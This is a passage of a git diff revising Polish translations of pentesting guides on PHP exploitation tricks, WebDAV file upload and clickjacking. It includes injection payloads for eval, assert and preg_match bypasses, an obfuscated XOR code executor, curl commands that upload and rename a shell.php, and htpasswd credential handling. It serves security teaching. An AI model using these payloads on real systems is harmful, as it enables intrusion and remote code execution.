phpMyAdmin. +To dotyczy również ciasteczek phpMyAdmin. -Cookies: +Ciasteczka: ``` PHPSESSID phpMyAdmin @@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby) - `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0 - `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0 -- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować ciąg wejściowy "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować dane wejściowe ciągu "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Dowolna litera w ciągu jest równa int 0 Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -110,12 +110,12 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie. +Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu. [Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\ **Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system()}` w celu uzyskania SSTI --> RCE --> flagi :)**. -Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", co, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\ +Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\ Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" @@ -143,7 +143,7 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## Wykorzystanie przejścia ścieżek i włączenia plików +## Wykorzystanie przejścia ścieżki i włączenia plików Sprawdź: @@ -153,8 +153,8 @@ Sprawdź: ## Więcej sztuczek -- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie. -- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\ +- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp za pomocą **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie. +- **Ciasteczka PHPSESSION tego samego domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\ W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna za ważne zmienne z path1 (nadając ciasteczku nazwę, która odpowiada jej w path2). - Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\**, aby zobaczyć, czy katalogi php są aktywowane. - [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/index.html) @@ -174,7 +174,7 @@ True #### Causing error after setting headers -Z [**tego wątku na twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi. +Z [**tego wątku na Twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi. Pozwala to na obejście na przykład nagłówków CSP ustawianych w kodach takich jak: ```php @@ -200,7 +200,7 @@ php-ssrf.md ## Wykonanie kodu **system("ls");**\ -&#xNAN;**\`ls\`;**\ +**\`ls\`;**\ **shell_exec("ls");** [Sprawdź to dla bardziej przydatnych funkcji PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html) @@ -211,7 +211,7 @@ preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\ -Ta opcja preg_replace została **wycofana od PHP 5.5.0.** +Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.** ### **RCE za pomocą Eval()** ``` @@ -223,7 +223,7 @@ Ta opcja preg_replace została **wycofana od PHP 5.5.0.** ``` ### **RCE via Assert()** -Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia wartości true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\ +Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia wartości true lub false** (a w zależności od tego zmienić wykonanie). Zwykle zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\ `assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz zrobić: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a @@ -236,7 +236,7 @@ Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek* ### **RCE via usort()** -Ta funkcja jest używana do sortowania tablicy elementów za pomocą określonej funkcji.\ +Funkcja ta jest używana do sortowania tablicy elementów za pomocą określonej funkcji.\ Aby nadużyć tej funkcji: ```php @@ -273,7 +273,7 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul ### RCE przez zmienne środowiskowe -Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**. +Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz wykorzystać to zachowanie, aby uzyskać **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać). - **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem. @@ -350,7 +350,7 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE wykorzystując nowe $\_GET\["a"]\($\_GET\["b") +## RCE nadużywając nowego $\_GET\["a"]\($\_GET\["b") Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak: @@ -375,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR łatwy kod powłoki -Zgodnie z [**tym opisem** ](https://mgp25.com/ctf/Web-challenge/) możliwe jest wygenerowanie łatwego kodu powłoki w ten sposób: +Zgodnie z [**tym opisem** ](https://mgp25.com/ctf/Web-challenge/)możliwe jest wygenerowanie łatwego kodu powłoki w ten sposób: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 96498109e..a4043c916 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -8,9 +8,9 @@ Dostęp do serwera WebDav zazwyczaj wymaga **ważnych poświadczeń**, a [**brut Aby obejść ograniczenia dotyczące przesyłania plików, szczególnie te uniemożliwiające wykonywanie skryptów po stronie serwera, możesz: -- **Przesyłać** pliki z **rozszerzeniami wykonywalnymi** bezpośrednio, jeśli nie są ograniczone. -- **Zmień nazwę** przesyłanych plików niewykonywalnych (jak .txt) na rozszerzenie wykonywalne. -- **Kopiować** przesyłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne. +- **Przesłać** pliki z **wykonywalnymi rozszerzeniami** bezpośrednio, jeśli nie są ograniczone. +- **Zmień nazwę** przesłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne. +- **Skopiować** przesłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne. ## DavTest @@ -39,16 +39,16 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability -Ta luka jest bardzo interesująca. **WebDav** **nie pozwala** na **przesyłanie** ani **zmienianie nazw** plików z rozszerzeniem **.asp**. Ale możesz **obejść** to, **dodając** na końcu nazwy **";.txt"** i plik będzie **wykonywany** tak, jakby był plikiem .asp (możesz również **użyć ".html" zamiast ".txt"**, ale **NIE zapomnij o ";"**). +Ta luka jest bardzo interesująca. **WebDav** **nie pozwala** na **przesyłanie** lub **zmienianie nazw** plików z rozszerzeniem **.asp**. Ale możesz **obejść** to **dodając** na końcu nazwy **";.txt"** i plik będzie **wykonywany** tak, jakby był plikiem .asp (możesz również **użyć ".html" zamiast ".txt"**, ale **NIE zapomnij o ";"**). -Następnie możesz **przesłać** swój shell jako plik ".**txt"** i **skopiować/przenieść go do pliku ".asp;.txt"**. Uzyskując dostęp do tego pliku przez serwer WWW, zostanie on **wykonany** (cadaver powie, że akcja przeniesienia nie powiodła się, ale tak nie jest). +Następnie możesz **przesłać** swój shell jako plik ".**txt"** i **skopiować/przenieść go do pliku ".asp;.txt"**. Uzyskując dostęp do tego pliku przez serwer WWW, zostanie on **wykonany** (cadaver powie, że akcja przeniesienia się nie powiodła, ale tak się stało). ![](<../../images/image (1092).png>) ## Post credentials -Jeśli Webdav używał serwera Apache, powinieneś sprawdzić skonfigurowane witryny w Apache. Zwykle:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +Jeśli Webdav używał serwera Apache, powinieneś spojrzeć na skonfigurowane witryny w Apache. Zwykle:\ +\_**/etc/apache2/sites-enabled/000-default**_ Wewnątrz możesz znaleźć coś takiego: ``` @@ -71,7 +71,7 @@ Możesz spróbować je **złamać**, lub **dodać więcej**, jeśli z jakiegoś ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` -Aby sprawdzić, czy nowe dane uwierzytelniające działają, możesz zrobić: +Aby sprawdzić, czy nowe dane logowania działają, możesz zrobić: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index b731deed0..b8b73fe2a 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -4,15 +4,15 @@ ## Co to jest Clickjacking -W ataku clickjacking, **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, podanie danych logowania lub informacji wrażliwych, przelewy pieniędzy lub zakupy produktów online. +W ataku clickjacking, **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, podanie danych uwierzytelniających lub informacji wrażliwych, przelewy pieniędzy lub zakupy produktów online. -### Sztuczka z prewypełnieniem formularzy +### Sztuczka z wypełnianiem formularzy Czasami możliwe jest **wypełnienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony**. Atakujący może nadużyć tego zachowania, aby wypełnić formularz dowolnymi danymi i wysłać ładunek clickjacking, aby użytkownik nacisnął przycisk Wyślij. ### Wypełnij formularz za pomocą Drag\&Drop -Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie konkretnych informacji (jak e-mail lub konkretne hasło, które znasz), możesz po prostu poprosić go o **Drag\&Drop** coś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie konkretnych informacji (jak e-mail czy konkretne hasło, które znasz), możesz po prostu poprosić go o **Drag\&Drop** coś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). ### Podstawowy ładunek ```markup @@ -34,7 +34,7 @@ z-index: 1;
Click me
``` -### Wieloetapowy ładunek +### Multistep Payload ```markup